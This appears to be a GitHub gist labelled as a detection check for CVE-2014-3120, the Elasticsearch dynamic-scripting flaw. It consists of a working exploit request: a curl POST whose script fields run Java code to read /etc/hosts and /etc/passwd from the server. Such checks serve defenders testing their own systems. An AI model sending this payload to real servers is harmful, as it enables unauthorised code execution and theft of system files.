Skip to content

Instantly share code, notes, and snippets.

@ChiChou
Created October 26, 2014 12:52
Show Gist options
  • Save ChiChou/1cbda1654fdd66d772cd to your computer and use it in GitHub Desktop.
Save ChiChou/1cbda1654fdd66d772cd to your computer and use it in GitHub Desktop.
CVE-2014-3120 Detection
curl -XPOST 'http://localhost:9200/_search?pretty' -d '
{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {}
}
}
},
"script_fields": {
"/etc/hosts": {
"script": "import java.util.*;\nimport java.io.*;\nnew Scanner(new File(\"/etc/hosts\")).useDelimiter(\"\\\\Z\").next();"
},
"/etc/passwd": {
"script": "import java.util.*;\nimport java.io.*;\nnew Scanner(new File(\"/etc/passwd\")).useDelimiter(\"\\\\Z\").next();"
}
}
}
'
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment